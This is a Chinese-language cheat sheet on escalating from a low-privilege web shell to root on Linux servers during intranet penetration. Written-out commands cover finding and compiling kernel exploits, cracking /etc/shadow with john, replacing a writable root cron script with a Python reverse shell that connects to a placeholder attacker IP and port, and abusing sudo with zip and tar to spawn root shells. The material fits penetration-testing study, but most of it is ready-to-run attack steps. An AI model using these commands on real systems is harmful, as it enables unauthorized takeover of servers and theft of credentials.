1.提权介绍
往往我们能拿下服务器的web服务只是具有低权限用户(如www-data),对于内网渗透,需要提权到root
提权前提:
- 已经拿到低权shell
- 被入侵机器上带有nc,python,perl等常见工具
- 有权限上传和下载文件
2.内核漏洞提权
查看发行版本
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
寻找内核溢出代码
searchsploit 发行版本 内核版本
上床内核溢出代码,编译执行
gcc xxx.c -o exploit
chmod +x exploit
./exploit
3.明文root密码提权
大多linux系统密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面存储了用户,shadow里面存储了密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
例如破解linux用户名和对应密码
#获取对应的两个文件
/etc/passwd /etc/shadow
unshadow passwd shadow > cracked
john cracked
4.计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。
cat /etc/crontab
非root权限用户不能列出root用户的计划任务。但/etc/内的系统的计划任务可以被列出。
默认这些程序以root权限执行,如果其中一个是任意用户可写,则可以修改脚本等回连rootshell
如果定时执行的是py脚本,可以使用以下例子来替换
#!/usr/bin/python
import os,subprocess,socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP地址","攻击机监听端口"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
5.密码复用登录提权
很多管理员会重复使用密码,因此数据库或web后台登录密码也可能是root密码
可以尝试使用ssh登录,但有ssh可能禁止root登录
可以使用低权shell输入密码,但linux要求必须从终端设备中输入密码,则可以使用python模拟终端设备
python -c "import pty;pty.spawn('/bin/bash')"
使用sudo -l 查看当前用户可以使用root提权的命令信息
利用zip进行提权
touch exploit
sudo -u root zip exploit.zip exploit -T -unzip-command="sh -c /bin/bash"
利用tar进行提权
sudo -u root tar cf /dev/null exploit -checkpoint=1 --checkpoint-action="/bin/bash"